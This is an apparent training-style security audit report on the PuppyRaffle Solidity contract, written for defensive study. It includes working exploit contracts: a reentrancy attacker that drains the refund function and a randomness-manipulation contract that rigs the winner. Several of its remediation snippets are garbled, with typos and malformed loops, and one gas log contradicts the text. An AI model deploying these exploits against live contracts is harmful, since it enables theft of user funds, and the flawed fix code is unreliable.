Puppy Raffle Protocol Audit Report

Version 1.0

Radcipher

February 1, 2025

Protocol Audit Report

Radciper

February 1, 2025

Prepared by: [Radcipher] Lead Auditors: - Radcipher

Table of Contents

  - [I-3] Missing checks for `address(0)` when assigning values to address state variable.
  - [I-4] `PuppyRaffle:selectWinner` does not follow CEI and its not a best practice
  - [I-5] Use of magic numbers is discouraged
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle:isActivePlater` is never used and should be removed
- Gas
  - [G-2] Storage variables in a loop should be cached

Protocol Summary

The PuppyRaffle protocol is designed to facilitate a decentralized raffle system where participants can enter by paying an entrance fee. The protocol includes mechanisms for selecting a random winner, distributing prizes, and handling refunds. Key features include the ability to enter multiple players, secure fee management, and event-driven notifications for transparency. However, the audit identified several vulnerabilities that need to be addressed to ensure the protocol's security and reliability.

Disclaimer

Radcipher team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit of the PuppyRaffle codebase revealed several critical vulnerabilities, including potential reentrancy attacks and inefficient duplicate checks. Additionally, issues with randomness manipulation and typecasting overflow were identified, which could compromise the contract's integrity and financial accuracy. Immediate remediation is recommended to ensure the security and reliability of the raffle system.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	1
Total	15

Findings

High

[H-1] Reentrancy attack, the player can call this function and the contract will send the funds before updating the state

Description: The `PuppyRaffle::refund` function is vulnerable to a reentrancy attack. This occurs because the function sends funds to the player before updating the contract's state. An attacker can exploit this by repeatedly calling the `refund` function before the state is updated, potentially draining the contract's funds.

Impact: A malicious player can exploit this vulnerability to repeatedly withdraw the entrance fee, leading to a significant loss of funds from the contract. This can undermine the integrity of the raffle and result in financial losses for other participants.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address atackUser = makeAddr("attackUser");
        vm.deal(atackUser, 1 ether);

        uint256 startingAtackContractBalance = address(attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //atack

        attackerContract.attack{value: entranceFee}();

        console.log(
            "starting attacker contract balance: ",
```

```
            startingAtackContractBalance
        );
        console.log("starting contract balance: ", startingContractBalance);

        console.log(
            "ending attacker contract balance: ",
            address(attackerContract).balance
        );
        console.log("ending contract balance: ", address(puppyRaffle).balance);
    }
}

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
//Logs:
//  starting attacker contract balance:  0
```

```
// starting contract balance: 4000000000000000000
// ending attacker contract balance: 5000000000000000000
// ending contract balance: 0
```

Recommended Mitigation: Update the state before sending funds to the player. This prevents the reentrancy attack by ensuring that the contract's state is updated before any external calls are made.

```
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund");
require(playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active");

// @audit reentrancy, the player can call this function
//and the contract will send the funds before updating the state
+       players[playerIndex] = address(0);

emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
    }
```

[H-2] Randomness in winnerIndex. The miner can manipulate the result.

Description: The `PuppyRaffle::selectWinner` function uses on-chain data such as `block.timestamp`, `block.difficulty`, and `msg.sender` to generate a random `winnerIndex`. This method of generating randomness is insecure because miners can influence these values to some extent, allowing them to manipulate the outcome of the raffle.

Impact: A malicious miner can manipulate the on-chain data used to generate the `PuppyRaffle::winnerIndex`, potentially ensuring that a specific address wins the raffle. This undermines the fairness and integrity of the raffle, as it allows the outcome to be influenced by external actors.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
// SPDX-License-Identifier: No-License

pragma solidity 0.7.6;
```

```
interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;

    function getPlayersLength() external view returns (uint256);

    function selectWinner() external;
}

contract Attack {
    IPuppyRaffle raffle;

    constructor(address puppy) {
        raffle = IPuppyRaffle(puppy);
    }

    function attackRandomness() public {
        uint256 playersLength = raffle.getPlayersLength();

        uint256 winnerIndex;
        uint256 toAdd = playersLength;
        while (true) {
            winnerIndex =
                uint256(
                    keccak256(
                        abi.encodePacked(
                            address(this),
                            block.timestamp,
                            block.difficulty
                        )
                    )
                ) %
                toAdd;

            if (winnerIndex == playersLength) break;
            ++toAdd;
        }
        uint256 toLoop = toAdd - playersLength;

        address[] memory playersToAdd = new address[](toLoop);
        playersToAdd[0] = address(this);

        for (uint256 i = 1; i < toLoop; ++i) {
            playersToAdd[i] = address(i + 100);
        }

        uint256 valueToSend = 1e18 * toLoop;
```

```
        raffle.enterRaffle{value: valueToSend}(playersToAdd);
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

Recommended Mitigation: Use Chainlink VRF (Verifiable Random Function) to generate secure and verifiable randomness. Chainlink VRF provides cryptographic guarantees that the randomness is tamper-proof and cannot be manipulated by any external actors, including miners.

Why Use Chainlink VRF: - Cryptographic Security - Verifiable - Decentralized - Trusted by Industry

[H-3] Potential Overflow and Incorrect Fee Calculation Due to Typecasting from uint256 to uint64 in PuppyRaffle.selectWinner()

Description: Casting the fee from uint256 to uint64 in the expression `totalFees = totalFees + uint64(fee)` can lead to overflow issues if the fee value exceeds the maximum limit that a `uint64` can hold `(2^64 - 1)`.

```
        totalFees = totalFees + uint64(fee);
```

Impact: If the fee value surpasses the `uint64` limit, it will cause an overflow, resulting in incorrect fee calculations. This can lead to inaccurate distribution of funds and potential financial discrepancies, compromising the contract's reliability.

Proof of Concept:

```
function testOverflow() public {
        uint256 initialBalance = address(puppyRaffle).balance;

        // This value is greater than the maximum value a uint64 can hold
        uint256 fee = 2**64;

        // Send ether to the contract
        (bool success, ) = address(puppyRaffle).call{value: fee}("");
        assertTrue(success);
```

```
        uint256 finalBalance = address(puppyRaffle).balance;

        // Check if the contract's balance increased by the expected amount
        assertEq(finalBalance, initialBalance + fee);
    }
```

Recommended Mitigation: Update the `totalFees` variable and related calculations to use `uint256` instead of `uint64`. This ensures that the fee calculations are accurate and prevents overflow.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service

(DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than for those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit DoS attack
@>        for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. This discourages later users from entering and causes a rush at the start of the raffle to be among the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so large that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as follows:

- The first 100 players will approximately pay 6252127 gas.
- The second 100 players will approximately pay 18068217 gas.

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_denial_of_service() public {
    // address[] memory players = new address[](1);
    // players[0] = playerOne;
    // puppyRaffle.enterRaffle{value: entranceFee}(players);
    // assertEq(puppyRaffle.players(0), playerOne);
    // Lets enter 100 players
    vm.txGasPrice(1);

    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
        // address1,2,3,4,5...100
    }
    // see how much gas it costs
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) - tx.gasprice;
    console.log("Gas used for 100 players: ", gasUsedFirst);

    // now for the second 100 players :
    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum);
    }
    // see how much gas it costs
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        playersTwo
    );
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) - tx.gasprice;
    console.log("Gas used for the second 100 players: ", gasUsedSecond);

    assert(gasUsedSecond > gasUsedFirst);
}
```

```
    // Gas used for 100 players:  6252127
    // Gas used for the second 100 players:  180682
```

Recommended Mitigation: There a few recommendations.

1. Consider allowing duplicates. Users can create new wallet addresses anyway, so a duplicate check does not prevent the same person
2. from entering multiple times—it only prevents the same wallet address from entering.
3. Consider using a mapping to check for duplicates. This would allow constant-time lookup to determine whether a user has already entered.

```
+       mappings(address => uint256) public addressToRaffleId;
+       uint266 pub;ic raffleId = 0;
•
•
•
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
    players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
}
-  // Check for duplicates
+  // Check for duplicates
+  for (uint256 i = 0; i < newPlayers.lenght; i++) {
+     require(addressToRaffleId[newPlayers[i]]) !=
+     raffleId, "PuppyRaffle: Duplicate player"
+     }
-     for (uint256 i = 0; i < players.length - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
-         require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-     }
-}
emit RaffleEnter(newPlayers);
}
•
•
•
function selectWinner() external {
+       raffleId = raffleId + 1;
require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

[M-2] When the index of the player in the array is returned and the player is at index 0, it will return 0, which is the same as if the player is not active

Description: When the `getActivePlayerIndex` function is called to retrieve the index of a player in the `players` array, it returns `0` if the player is found at index `0`. However, it also returns `0` if the player is not active or not found in the array. This ambiguity can lead to confusion and incorrect assumptions about the player's status.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    // @audit if the player is at index 0, it will return 0
    //  which is the same as if the player is not active
    return 0;
}
```

Impact: This issue can cause logical errors in the contract's functionality, as it is unclear whether a player at index `0` is active or not present in the array. This can affect any logic that relies on the player's index, potentially leading to incorrect behavior or security vulnerabilities.

Proof of Concept: 1. Deploy the `PuppyRaffle` contract. 2. Call the `PuppyRaffle::enterRaffle` function with an array of player addresses, ensuring one of the players is at index `0`. 3. Call the `PuppyRaffle::getActivePlayerIndex` function with the address of the player at index `0` and verify that it returns `0`. 4. Call the `PuppyRaffle::getActivePlayerIndex` function with an address that is not in the `players` array and verify that it also returns `0`.

Recommended Mitigation: Modify the `PuppyRaffle::getActivePlayerIndex` function to return a distinct value (e.g., `int256(-1)`) when the player is not found or not active. This will clearly differentiate between a player at index `0` and a player who is not active.

```
    function getActivePlayerIndex(address player) external view returns (int256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
-       return 0;
+       return -1; // Return -1 if the player is not found or not active
    }
```

[M-3] Smart contract wallets raffle winner without a `receive` or `fallbackers` function will block the start of a new contest

Description The `puppyRaffle::selectWinner` function is responsible for reseting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to start.

User could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle::selectWinner` function could rever many times, making a lottery reset difficult.

Also, true winner could not get paid out and someone else could take there money

Proof Of Concept

1. 10 smart contract wallet eenter the lottery without a fallback or receive function.
2. The lottary ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigationt There are few options to mitigate this issue

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (Recommended)

Low

[L-1] Uchanged state variable should be declared constant or immutable

Reading from storage is much more expensive that reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUrl` should be `constant` - `PuppyRaffle::rareImageUrl` shoud be `constant` - `PuppyRaffle::legendaryImageUrl` should be `constant`

Informational

[I-1] Solidity pragma should be specific, not wide.

consider using a specific version of Solidity in your contract instead of a wide version Instead `pragma solidity ^0.8.0` , use `pragma solidity 0.8.0`.

- Found in src/PuppyRaffle.sol

[I-2] Using an outdated version of Solidiy is not recommended.

- Use a newer version of solidity if not the latest

[I-3] Missing checks for `address(0)` when assigning values to address state variable.

- Found in src/PuppyRaggle.sol: 8662:23:35
- Found in src/PuppyRaggle.sol: 3165:24:35
- Found in src/PuppyRaggle.sol: 9809:26:35

[I-4] `PuppyRaffle:selectWinner` does not follow CEI and its not a best practice

Better to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see numbers literals in a codebase, and its much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Intead you could use :

```
uint256 public constant PRIZE_POOL_PRECENTAGE = 80;
uint256 public constant FEE_PRECENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle:isActivePlater` is never used and should be removed

Gas

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+     uint256 playerLenght = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++) {
+     for (uint256 i = 0; i + playersLenght - 1, i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < players.Lenght; j++) {}
                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
             }
```